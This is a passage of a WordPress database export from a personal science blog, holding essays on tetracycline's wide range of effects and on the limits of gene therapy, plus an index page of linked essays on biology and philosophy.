fundamental, powerful effect on so small a scale has large, diverse effects when scaling up to the size of a human.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pharma is generally moving away from these sorts of complex drugs with a huge variety of effects in favor of drugs with one main therapeutic effect and no others. The FDA’s pressure plays a huge part in this, as they’ve long preferred having no treatment for a condition vs. having a possibly toxic treatment. This is a pity, as, if this standard had been applied before, there would have been no tetracycline.</p>\n<!-- /wp:paragraph -->','The manifold effects of tetracycline','','publish','closed','closed','','the-manifold-effects-of-tetracycline','','','2022-03-10 21:10:19','2022-03-10 21:10:19','',0,'https://trevorklee.com/?page_id=270',0,'page','',0),
(271,1,'2022-03-10 21:10:19','2022-03-10 21:10:19','<!-- wp:paragraph -->\n<p>The difference between a drug’s “therapeutic effect” and “side effects” is, of course, a matter of perspective. Sildenafil was a drug for hypertension before it was repurposed as a treatment for erectile dysfunction, medicalizing the condition in the process (an earlier attempt, involving <a href=\"https://en.wikipedia.org/wiki/Giles_Brindley\">showing the entire American Urological Association a chemically induced erection</a>, was less successful).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>With that in mind, I’d like to explore the effects of one of my favorite drugs, tetracycline. Tetracycline (and its numerous derivatives, like minocycline and doxycycline) is best-known as an antibiotic, but here’s <a href=\"https://en.wikipedia.org/wiki/Tetracycline_antibiotics#Side_effects\">an incomplete list of everything you might expect to experience</a> if you take it:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>1. Treatment of bacterial infection</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>2. Lessening of skin redness</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>3. Malaria prophylaxis</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>4. Increased sensitivity to the sun</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>5. Stomach upset</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>6. Headache and visual problems, caused by intracranial hypertension</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>7. Teeth graying, including if you’re a fetus whose mom has taken tetracycline</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>8. Fatty liver</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>9. Worsening kidney failure</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>10. Increased muscle weakness in myasthenia gravis</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>11. Treatment of Kaposi Sarcoma</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>12. Lessening of diabetes</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>13. Mental confusion</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>If you’re a scientist, meanwhile, you can also use tetracycline to control transcriptional activation (<a href=\"https://en.wikipedia.org/wiki/Tetracycline-controlled_transcriptional_activation\">the Tet-On or Tet-Off systems</a>) or check if wildlife are consuming a certain bait by dosing their bait with tetracycline and then checking their teeth.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>It’s an amazingly long list. While there are a number of specific mechanisms for each of the effects, the central reason that tetracycline has so many effects is that it’s a weapon of biological warfare. It was isolated from a soil sample containing a bacteria called Streptomyces rimosus, which uses it to prevent its rivals from creating proteins and thus growing. Such a fundamental, powerful effect on so small a scale has large, diverse effects when scaling up to the size of a human.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Pharma is generally moving away from these sorts of complex drugs with a huge variety of effects in favor of drugs with one main therapeutic effect and no others. The FDA’s pressure plays a huge part in this, as they’ve long preferred having no treatment for a condition vs. having a possibly toxic treatment. This is a pity, as, if this standard had been applied before, there would have been no tetracycline.</p>\n<!-- /wp:paragraph -->','The manifold effects of tetracycline','','inherit','closed','closed','','270-revision-v1','','','2022-03-10 21:10:19','2022-03-10 21:10:19','',270,'https://trevorklee.com/?p=271',0,'revision','',0),
(272,1,'2022-03-16 15:14:07','2022-03-16 15:14:07','<!-- wp:paragraph -->\n<p>I was recently reminded of a pretty incredible story.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4796731/\">In 2003</a>, Beatrice “Bea” Rienhoff was born with contracted fingers, wide eyes, and a lack of muscle tone. It was clear by 6 months that she was not reaching developmental milestones on time and she was diagnosed with “failure to thrive”. Unfortunately, such a vague diagnosis has poor treatments and her parents were only given flax seed oil as a therapeutic. No prognosis was able to be made.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So far, this story is sad, but not incredible. This sort of experience happens to thousands of parents every year. There are over 20,000 protein-coding genes in the human genome, and mutations in any one of them can cause unpredictable effects on the development of a child.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, this story did not happen to an average parent. It happened to Hugh Rienhoff, a pioneering geneticist. He reacted to Bea’s diagnosis the only way he knew how: by acting like a geneticist.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After attempting to DIY scan Bea’s genetic code for damaging mutations, he managed to convince Illumina, a sequencing giant, to sequence his and his entire family’s DNA for free (a $350,000 value at the time). After finding a mutation in muscle-development genes (exactly where he had expected to find the mutation), he linked up with experts on muscle-development to figure out the precise effect of that mutation. Finally, 10 years later, he published a paper on the mutation as a whole, along with <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3885154/\">a band of researchers</a> who helped him along the way.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m a huge fan of this story because it’s like the scientific version of this quote from <em>Snow Crash</em> by Neal Stephenson.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Until a man is twenty-five, he still thinks, every so often, that under the right circumstances he could be the baddest motherfucker in the world. If I moved to a martial-arts monastery in China and studied real hard for ten years. If my family was wiped out by Colombian drug dealers and I swore myself to revenge. If I got a fatal disease, had one year to live, and devoted it to wiping out street crime. If I just dropped out and devoted my life to being bad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Just like every man secretly thinks that if his family was wiped out by Colombian drug dealers, he’d become a badass assassin, every physician thinks that if a family member of his was diagnosed with a rare disease, he’d become the foremost expert on it. Hugh Reinhoff actually did it, though.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There’s something missing from the story, however. Dr. Reinhoff did an incredible amount of work figuring out the exact cause of his daughter’s developmental delay. However, he was unable to fix it. Or, more precisely, given that his daughter seemed to eventually overcome her developmental delays, he thought the risks of an experimental treatment were not worth the benefits.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That brings me to the topic of this blog post. If another well-resourced, determined doctor was faced with the same issue today, and if the developmental delays continued, would that doctor be able to fix the problem? That is, would that doctor be able to fix his daughter’s genome?<br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The short answer is maybe, but it would require a lot of work and a lot of knowledge that we don’t currently have. For the long answer, read on.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The first problem is that “fixing the genome” is one of those things that sounds straightforward, if difficult, in practice, but is actually quite complex to even define. You might think that fixing the genome just means replacing a malfunctioning gene with a functioning one, like replacing a bad part in a car.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, every cell in our body gets a copy of our DNA. Totally fixing the genome means fixing every single cell in our body, which is impossible to do. So, our first task in fixing the genome is figuring out exactly which cells need to be fixed. For a connective tissue disorder like the one affecting Bea Rienhoff, <a href=\"https://omim.org/entry/615582\">the biggest worry</a> is usually the risk of <a href=\"https://en.wikipedia.org/wiki/Aortic_dissection\">aortic dissection</a>, which is literally a tear in your heart (and as bad for your health as that sounds). So, fixing Bea’s genome would probably mean making sure that the genome in the heart cells is fixed, but there might be other places that the therapy needs to get to as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Another big issue with “fixing the genome” is that first word, “fixing”. When you work on a car, fixing means literally taking out the bad part and throwing it out and then installing the good part. That’s easy enough to do if you’re a mechanic. However, a gene therapy has to be its own mechanic, meaning that the machinery for taking out the bad and installing the good has to be included in the therapy, along with the gene itself. This can add a lot of complexity, as whatever vector you use can only carry so much machinery [1].</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Often, a gene therapy will instead only contain either a functioning copy of a gene to produce a protein (if the problem is not enough of a certain protein) or it’ll contain something to prevent that protein from being made (if the problem is too much of a protein). Bea’s connective tissue disorder seems to be related to <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3885154/\">reduced TGF-β 3 signaling</a>, which is a regulatory protein (i.e. it controls what other proteins do).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The obvious solution, then, might seem to be to increase the amount of TGF-β 3 produced. And that probably is the solution. The only trouble is that excess TGF-β 3 can also result in connective tissue disorders, <a href=\"https://en.wikipedia.org/wiki/Fibrillin_1\">most notably Marfan’s</a>. You have to hit the sweet spot in the amount of&nbsp; TGF-β 3 produced in order to promote healthy development.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These are all basic issues that we’d need to understand before we could even try to develop a gene therapy for a condition like Bea’s. We’d then have to face the normal issues involved in gene therapy, most importantly the issue of the immune system. Gene therapy, by definition, involves injecting foreign DNA into the human body. The human body has evolved over a very long time to react very aggressively to sudden introduction of foreign DNA, as that is generally not a good thing (with the notable exception of the act of reproduction).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You may be wondering how, given these issues, we’ve managed to have any gene therapies at all. Well, it hasn’t been easy! Gene therapy has been an idea since the 70s, but there have only been <a href=\"https://www.fda.gov/vaccines-blood-biologics/cellular-gene-therapy-products/approved-cellular-and-gene-therapy-products\">13 gene therapies approved since then</a>. The pace is speeding up though, as all of them have been since 2016.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Perhaps in the near future gene therapy will be almost as straightforward as it seems: figure out what gene is behaving poorly then fix it. But we’re not there yet. For now, it’s still a bit more complicated.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[1] Fun fact: when I say “so much machinery”, the amount of machinery is measured in bytes, not grams, as it’s all just genetic instructions. The actual machinery is contained in the cell. So, adeno-associated virus vectors, which are one of the most common ways that gene therapies are delivered, can only carry about <a href=\"https://www.tandfonline.com/doi/full/10.1080/14712598.2020.1725469\">5kb of DNA</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Adenoviruses and their relatives, by the way, are best known as being the usual cause of colds, but they’re actually great for gene therapies and vaccines. They can carry a lot of DNA, are relatively harmless, and can infect a broad range of cells. If you got the Johnson and Johnson or Oxford COVID vaccine, you’ve been injected with an adenovirus.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Retroviruses (which is the type of virus that HIV is) are also popular, as they’re great at evading the immune system, can also carry a lot of DNA, and are skilled at inserting themselves into the human genome to be expressed. However, their tendency to insert themselves at random places in the genome can have unpredictable effects, including <a href=\"https://www.science.org/doi/10.1126/science.1088547\">leukemia in one early gene therapy trial</a>.</p>\n<!-- /wp:paragraph -->','Can gene therapy fix any genetic defect?','','publish','closed','closed','','can-gene-therapy-fix-any-genetic-defect','','','2022-03-16 15:14:07','2022-03-16 15:14:07','',0,'https://trevorklee.com/?page_id=272',0,'page','',0),
(273,1,'2022-03-16 15:14:07','2022-03-16 15:14:07','<!-- wp:paragraph -->\n<p>I was recently reminded of a pretty incredible story.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC4796731/\">In 2003</a>, Beatrice “Bea” Rienhoff was born with contracted fingers, wide eyes, and a lack of muscle tone. It was clear by 6 months that she was not reaching developmental milestones on time and she was diagnosed with “failure to thrive”. Unfortunately, such a vague diagnosis has poor treatments and her parents were only given flax seed oil as a therapeutic. No prognosis was able to be made.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>So far, this story is sad, but not incredible. This sort of experience happens to thousands of parents every year. There are over 20,000 protein-coding genes in the human genome, and mutations in any one of them can cause unpredictable effects on the development of a child.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>However, this story did not happen to an average parent. It happened to Hugh Rienhoff, a pioneering geneticist. He reacted to Bea’s diagnosis the only way he knew how: by acting like a geneticist.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>After attempting to DIY scan Bea’s genetic code for damaging mutations, he managed to convince Illumina, a sequencing giant, to sequence his and his entire family’s DNA for free (a $350,000 value at the time). After finding a mutation in muscle-development genes (exactly where he had expected to find the mutation), he linked up with experts on muscle-development to figure out the precise effect of that mutation. Finally, 10 years later, he published a paper on the mutation as a whole, along with <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3885154/\">a band of researchers</a> who helped him along the way.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>I’m a huge fan of this story because it’s like the scientific version of this quote from <em>Snow Crash</em> by Neal Stephenson.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Until a man is twenty-five, he still thinks, every so often, that under the right circumstances he could be the baddest motherfucker in the world. If I moved to a martial-arts monastery in China and studied real hard for ten years. If my family was wiped out by Colombian drug dealers and I swore myself to revenge. If I got a fatal disease, had one year to live, and devoted it to wiping out street crime. If I just dropped out and devoted my life to being bad.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Just like every man secretly thinks that if his family was wiped out by Colombian drug dealers, he’d become a badass assassin, every physician thinks that if a family member of his was diagnosed with a rare disease, he’d become the foremost expert on it. Hugh Reinhoff actually did it, though.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>There’s something missing from the story, however. Dr. Reinhoff did an incredible amount of work figuring out the exact cause of his daughter’s developmental delay. However, he was unable to fix it. Or, more precisely, given that his daughter seemed to eventually overcome her developmental delays, he thought the risks of an experimental treatment were not worth the benefits.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>That brings me to the topic of this blog post. If another well-resourced, determined doctor was faced with the same issue today, and if the developmental delays continued, would that doctor be able to fix the problem? That is, would that doctor be able to fix his daughter’s genome?<br></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The short answer is maybe, but it would require a lot of work and a lot of knowledge that we don’t currently have. For the long answer, read on.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The first problem is that “fixing the genome” is one of those things that sounds straightforward, if difficult, in practice, but is actually quite complex to even define. You might think that fixing the genome just means replacing a malfunctioning gene with a functioning one, like replacing a bad part in a car.&nbsp;</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Unfortunately, every cell in our body gets a copy of our DNA. Totally fixing the genome means fixing every single cell in our body, which is impossible to do. So, our first task in fixing the genome is figuring out exactly which cells need to be fixed. For a connective tissue disorder like the one affecting Bea Rienhoff, <a href=\"https://omim.org/entry/615582\">the biggest worry</a> is usually the risk of <a href=\"https://en.wikipedia.org/wiki/Aortic_dissection\">aortic dissection</a>, which is literally a tear in your heart (and as bad for your health as that sounds). So, fixing Bea’s genome would probably mean making sure that the genome in the heart cells is fixed, but there might be other places that the therapy needs to get to as well.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Another big issue with “fixing the genome” is that first word, “fixing”. When you work on a car, fixing means literally taking out the bad part and throwing it out and then installing the good part. That’s easy enough to do if you’re a mechanic. However, a gene therapy has to be its own mechanic, meaning that the machinery for taking out the bad and installing the good has to be included in the therapy, along with the gene itself. This can add a lot of complexity, as whatever vector you use can only carry so much machinery [1].</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Often, a gene therapy will instead only contain either a functioning copy of a gene to produce a protein (if the problem is not enough of a certain protein) or it’ll contain something to prevent that protein from being made (if the problem is too much of a protein). Bea’s connective tissue disorder seems to be related to <a href=\"https://www.ncbi.nlm.nih.gov/pmc/articles/PMC3885154/\">reduced TGF-β 3 signaling</a>, which is a regulatory protein (i.e. it controls what other proteins do).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>The obvious solution, then, might seem to be to increase the amount of TGF-β 3 produced. And that probably is the solution. The only trouble is that excess TGF-β 3 can also result in connective tissue disorders, <a href=\"https://en.wikipedia.org/wiki/Fibrillin_1\">most notably Marfan’s</a>. You have to hit the sweet spot in the amount of&nbsp; TGF-β 3 produced in order to promote healthy development.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>These are all basic issues that we’d need to understand before we could even try to develop a gene therapy for a condition like Bea’s. We’d then have to face the normal issues involved in gene therapy, most importantly the issue of the immune system. Gene therapy, by definition, involves injecting foreign DNA into the human body. The human body has evolved over a very long time to react very aggressively to sudden introduction of foreign DNA, as that is generally not a good thing (with the notable exception of the act of reproduction).</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>You may be wondering how, given these issues, we’ve managed to have any gene therapies at all. Well, it hasn’t been easy! Gene therapy has been an idea since the 70s, but there have only been <a href=\"https://www.fda.gov/vaccines-blood-biologics/cellular-gene-therapy-products/approved-cellular-and-gene-therapy-products\">13 gene therapies approved since then</a>. The pace is speeding up though, as all of them have been since 2016.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Perhaps in the near future gene therapy will be almost as straightforward as it seems: figure out what gene is behaving poorly then fix it. But we’re not there yet. For now, it’s still a bit more complicated.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>[1] Fun fact: when I say “so much machinery”, the amount of machinery is measured in bytes, not grams, as it’s all just genetic instructions. The actual machinery is contained in the cell. So, adeno-associated virus vectors, which are one of the most common ways that gene therapies are delivered, can only carry about <a href=\"https://www.tandfonline.com/doi/full/10.1080/14712598.2020.1725469\">5kb of DNA</a>.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Adenoviruses and their relatives, by the way, are best known as being the usual cause of colds, but they’re actually great for gene therapies and vaccines. They can carry a lot of DNA, are relatively harmless, and can infect a broad range of cells. If you got the Johnson and Johnson or Oxford COVID vaccine, you’ve been injected with an adenovirus.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p>Retroviruses (which is the type of virus that HIV is) are also popular, as they’re great at evading the immune system, can also carry a lot of DNA, and are skilled at inserting themselves into the human genome to be expressed. However, their tendency to insert themselves at random places in the genome can have unpredictable effects, including <a href=\"https://www.science.org/doi/10.1126/science.1088547\">leukemia in one early gene therapy trial</a>.</p>\n<!-- /wp:paragraph -->','Can gene therapy fix any genetic defect?','','inherit','closed','closed','','272-revision-v1','','','2022-03-16 15:14:07','2022-03-16 15:14:07','',272,'https://trevorklee.com/?p=273',0,'revision','',0),
(276,1,'2022-04-06 18:48:16','2022-04-06 18:48:16','<div class=\"ml-form-embed\" data-account=\"1447886:p2j3d8j1q4\" data-form=\"4814894:l5k3q3\">\n</div>\n\n<!-- wp:heading -->\n<h2>Biology</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/can-gene-therapy-fix-any-genetic-defect/\">Can gene therapy fix any genetic defect?</a> - Talking about the sorts of things gene therapy is good for and the sorts of things it really isn\'t.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/the-manifold-effects-of-tetracycline/\">The manifold effects of tetracycline</a> - Elaborating on the weirdly long list of effects of tetracycline and celebrating \"dirty\" drugs. Did you know tetracycline can cause teeth graying?</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/ebv-causes-multiple-sclerosis-so-what/\" data-type=\"page\" data-id=\"263\">Epstein-Barr virus causes multiple sclerosis. So what?</a> - I question the implications of the most exciting epidemiological study of the year.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/should-you-take-metformin-for-longevity/\">Should you take metformin for longevity? No.</a> - Sorry for the spoiler, but in this essay, I take a look at the promise of metformin now for longevity, and the promise of metformin as a longevity therapeutic in the future. Neither impresses me.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/want-to-reverse-aging-try-reversing-graying-first/\">Want to reverse aging? Try reversing graying, first</a>. - Looking at the difficulties of graying research and comparing them with the much greater difficulties of general aging research. Also, looking at spontaneous re-pigmentation as possibly the only example of \"reversing\" aging in humans, and what can be learned from that.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-did-they-give-antidepressants-to-covid-patients/\" data-type=\"page\" data-id=\"234\">Why did they give antidepressants to COVID patients?</a> - Looking at the TOGETHER trial, which gave fluvoxamine to COVID patients in Brazil, as an example of repurposing gone right. I talk about the scientific background of the trial, why its success is hard to replicate (especially the funding parts), and the hacky ways for-profit companies try to do their own repurposing trials.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/organ-transplant-patients-maybe-dont-get-dementia-heres-why/\" data-type=\"page\" data-id=\"229\">Why organ transplant patients may not get dementia</a> - Exploring the implications of a paper that claims that patients on calcineurin inhibitors, a specific type of immunosuppressant commonly given to organ transplant patients, don\'t get dementia. One of these implications is that, if the paper\'s right, investors should give me money.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-cant-we-just-give-steroids-to-people-with-muscular-dystrophy/\" data-type=\"page\" data-id=\"195\">Why can\'t we just give steroids to people with muscular dystrophy?</a> -  Short answer: muscular dystrophy destroys the muscles, while steroids just recruit more muscle fibers that would be destroyed. It took 12 years and over a billion dollars to get to that answer, though.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-lesser-known-mechanism-for-alcohol-tolerance/\" data-type=\"page\" data-id=\"180\">A lesser known mechanism for alcohol tolerance</a> - exploring the mystery of alcoholics who walk around with a blood-alcohol level that would literally kill a non-drinker. I argue that the answer is modification to BK channels.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-bigger-species-live-longer-and-what-we-can-learn-from-it/\" data-type=\"page\" data-id=\"85\">Why bigger species live longer and what we can learn from it</a> - simple observation: bigger species live longer than smaller species (elephants vs. mice), but bigger breeds live shorter than smaller breeds (St. Bernards vs. Chihuahuas). This essay argues that immunology is the key.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/a-complete-guide-to-self-diagnosing-and-self-treating-ibs/\" data-type=\"page\" data-id=\"58\">A complete guide to self-diagnosing and self-treating IBS</a> - Self-explanatory. This is the sort of guide I wished I had when I was suffering through IBS.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/are-mrna-therapies-the-future-of-pharmaceuticals/\" data-type=\"page\" data-id=\"54\">Are mRNA therapies the future?</a> - Examining the hype around mRNA. Hype is partially busted: mRNA is cool, but it\'s not a cure-all, and at this point it\'s difficult to imagine it being effective in non-vaccine therapeutics.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/why-oncology-is-so-popular-for-pharmaceuticals/\">Why oncology is so popular for pharmaceuticals</a> - Discussing the economic reasons why oncology is such an attractive category for pharma companies, as well as the statistical reasons. Hint: it\'s because oncology drugs use bullshit measurements.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://trevorklee.com/what-is-the-role-of-inflammation-in-the-immune-system/\" data-type=\"page\" data-id=\"40\">What exactly is the role of inflammation in the immune system?</a> - Exploring the enduring mystery of why anti-inflammatory drugs like ibuprofen and adalimumab don\'t make people much more susceptible to infections.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/27/the-troubles-with-how-the-rate-of-virus-transmission-is-measured/\">Don\'t use R0 to measure the rate of COVID transmission </a>- Arguing that R0 is a bad measure because:</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:list {\"ordered\":true} -->\n<ol><li>It depends on circumstance and is not an inherent property of the virus</li><li>It\'s an average, which ignores superspreaders</li><li>Its problematic calculation assumes asymptomatic transmission, a constant relationship between when a person is infected and when they show symptoms, and a single number for \"infectiousness\", none of which are justified</li><li>The estimates for R0 of all viruses vary drastically</li></ol>\n<!-- /wp:list -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/21/asymptomatic-shedding-of-viruses-is-the-norm/\">Asymptomatic shedding of the virus is the norm</a> - arguing from examples of every kind of virus (DNA, RNA, enveloped, and unenveloped) that asymptomatic shedding and transmission is common and uncontroversial</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/04/14/why-do-some-viruses-cross-over-from-animals/\">How to make bird flu (H5N1) cross over to humans</a> - exploring how viruses cross over from animals to humans, using an experiment where they made the bird flu transmissible between ferrets (and probably between humans)</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/30/why-do-we-keep-getting-diseases-from-bats/\">Why do humans keep getting diseases from bats?</a> - long story short, because bats are social and are virus \"reservoirs\". This is because their unique immune system allows them to live with viruses that would kill other mammals.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2020/03/15/genetically-engineering-virus-immune-bees/\">Genetically engineering virus immune bees</a> - exploring a paper that shows how scientists infected bees with a bacterium that gave the bees immunity to the viruses and mites that cause colony collapse. The key technology was RNA interference, which I explored for a bit in my \"failed projects\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p></p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2><strong>Philosophy</strong></h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/socrates-and-categorizations/\">Socrates and Categorizations</a>&nbsp;- Socrates, the first philosopher, developed a method to refine definitions and eliminate internal contradictions in thought. But his method has limitations.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/aristotle-and-logical-systems/\">Aristotle and logical systems</a> - Aristotle was a brilliant man who insisted that the world make sense to him. So he developed a way of making it so.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/francis-bacon-and-observation/\">Francis Bacon and observations</a>&nbsp;- Deduction is useful in many ways, but it can\'t produce new knowledge. Only induction can do that, but it\'s a tricky process. Francis Bacon tried to refine the method, and ended up being the first philosopher of science.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/descartes-and-radical-skepticism/\">Descartes and radical skepticism</a> - If skepticism is&nbsp;a hammer, Descartes saw all of philosophy as a wall of glass. And he was eager to start smashing.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/hume-and-the-problem-of-induction/\">Hume and the problem of induction</a>&nbsp;- Induction is super useful. It\'s a pity, therefore, that Hume showed it can never be justified. In short, nothing can ever be said to cause anything.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/immanuel-kant-and-intuition/\">Immanuel Kant and intuition</a>&nbsp;- According to Kant, thinking about thinking is like using a microscope to examine itself. It can\'t be done. Why? Intuition, or \"pre-processing\".</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/wittgenstein-and-the-limits-of-language/\">Wittgenstein and the limits of language</a> - Right now, I\'m attempting to use language to convey meaning. Is it working? Wittgenstein will tell us.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"http://www.indefensiblegate.com/2017/01/23/karl-popper-and-falsificationism/\">Karl Popper and falsificationism</a> - Science is what allows men to fly, control electricity, and cheat death. It\'d probably be a good idea to figure out what exactly it is, then. Karl Popper is on the case.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/20/why-internet-arguments-go-in-circles-according-to-charles-sanders-peirce/\">Charles Sanders Peirce and arguments</a> -  For arguments to work, both sides need to be working off the same definitions. Two users of a word have the same definition of that word only if they intend the same effect when using that word.</p>\n<!-- /wp:paragraph -->\n\n<!-- wp:heading -->\n<h2>Learning</h2>\n<!-- /wp:heading -->\n\n<!-- wp:paragraph -->\n<p><a href=\"https://get21stnight.com/2019/08/09/levels-to-it-wrestling-and-learning/\">How D1 wrestlers learn and what we can learn from them</a> - basically, the best learning environment is to have</p>\n<!-- /wp:paragraph 